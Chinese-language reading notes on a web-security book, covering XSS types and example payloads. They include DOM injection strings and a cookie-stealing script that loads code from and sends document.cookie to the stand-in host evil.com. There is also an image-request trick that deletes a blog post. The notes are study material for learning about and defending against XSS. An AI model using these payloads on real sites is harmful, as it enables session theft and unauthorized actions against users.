讀書筆記-白帽子講web安全
xss:
1,反射型xss
把使用者輸入資料“反射”給瀏覽器
2,儲存型xss
把使用者資料“儲存”在伺服器端
3,基於DOM的xss
效果上也是反射型,
<script>
function test() { var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href=' "+str+" ' >testLink</a>"; }
</script>
<div id="t" ></div> <input type="text" id="text" value=" " /> <input type="button" id="s" value="write" onclick="test()" />
(1) ' onclick=alert(/xss/) //
<a href=' ' onclick=alert(/xss/) // ' >testLink</a>
(2) '><img src=# onerror=alert(/xss2/) /><'
<a href=' '> <img src=# onerror=alert(/xss2/) /> <' ' > testLink </a>
xss payload
完成各種具體功能的惡意指令碼,實際是javascript指令碼(或者flash,客戶端指令碼)。
比如讀取cookie物件(cookie劫持)
(1)載入遠端指令碼:http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script> 避免直接在url中寫
(2)evil.js中:
var img = document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie):
document.body.appendChild(img);
隱藏圖片,document.cookie物件作為引數傳到遠端伺服器.
httponly可以防止cookie劫持
xss刪除文章
正常連結:http://blog.xxx.com/manage/entry.do?m=delete&id=156713012
插入圖片發起get請求
var img=document.createElement("img");
img.src="http://blog.xxx.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);
3.2.2.2xss釣魚
3.2.2.3識別使用者瀏覽器
xss讀取瀏覽器的userAgent物件
alert(navigator.userAgent);
3.2.2.4識別使用者安裝的軟體
3.2.2.5css history hack
3.2.2.6獲取使用者的真實IP地址
3.2.3xss攻擊平臺
attack api
BeEF
xss-proxy
3.2.4xss worm
3.2.5工具
firebug
ie 8 developer tools
fiddler
httpwatch
3.2.6xss構造技巧
3.2.6.1利用字元編碼
3.2.6.2繞過長度限制
3.2.6.3使用<base>標籤